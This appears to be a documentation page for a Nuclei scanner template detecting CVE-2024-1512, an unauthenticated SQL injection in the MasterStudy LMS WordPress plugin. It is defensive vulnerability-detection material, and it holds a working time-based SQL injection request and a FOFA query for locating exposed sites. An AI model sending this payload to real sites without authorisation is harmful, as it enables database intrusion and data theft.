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MasterStudy LMS WordPress Plugin <= 3.2.5 - SQL Injection

ID: CVE-2024-1512

Severity: critical

Author: s4e-io

Tags: time-based-sqli,cve,cve2024,sqli,wp-plugin,wordpress

Description

Section titled “Description”

The MasterStudy LMS WordPress Plugin for Online Courses and Education plugin for WordPress is vulnerable to union based SQL Injection via the ‘user’ parameter of the /lms/stm-lms/order/items REST route in all versions up to, and including, 3.2.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

YAML Source

Section titled “YAML Source”
id: CVE-2024-1512


info:
  name: MasterStudy LMS WordPress Plugin <= 3.2.5 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The MasterStudy LMS WordPress Plugin for Online Courses and Education plugin for WordPress is vulnerable to union based SQL Injection via the 'user' parameter of the /lms/stm-lms/order/items REST route in all versions up to, and including, 3.2.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  remediation: Fixed in 3.2.6
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1512
    - https://github.com/rat-c/CVE-2024-1512
    - https://blog.csdn.net/m0_60571842/article/details/139901296
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/d6b6d824-51d3-4da9-a39a-b957368df4dc?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-1512
    epss-score: 0.00043
    epss-percentile: 0.09257
  metadata:
    verified: true
    max-request: 1
    vendor: stylemixthemes
    product: masterstudy_lms
    framework: wordpress
    fofa-query: body="wp-content/plugins/masterstudy-lms-learning-management-system/"
  tags: time-based-sqli,cve,cve2024,sqli,wp-plugin,wordpress


http:
  - raw:
      - |
        @timeout 10s
        GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%286%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - 'contains_all(body,"items","total","total_price")'
          - 'contains(content_type,"application/json")'
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022100fcd3601719a3280f367749039504bc8575686259b3e29ef15825d2c2ff49dd9202200616ffb139cdd465a1e08307a75f335a2d70cc92c35f1429d39a4e8d7d8c37db:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-1512.yaml"

View on Github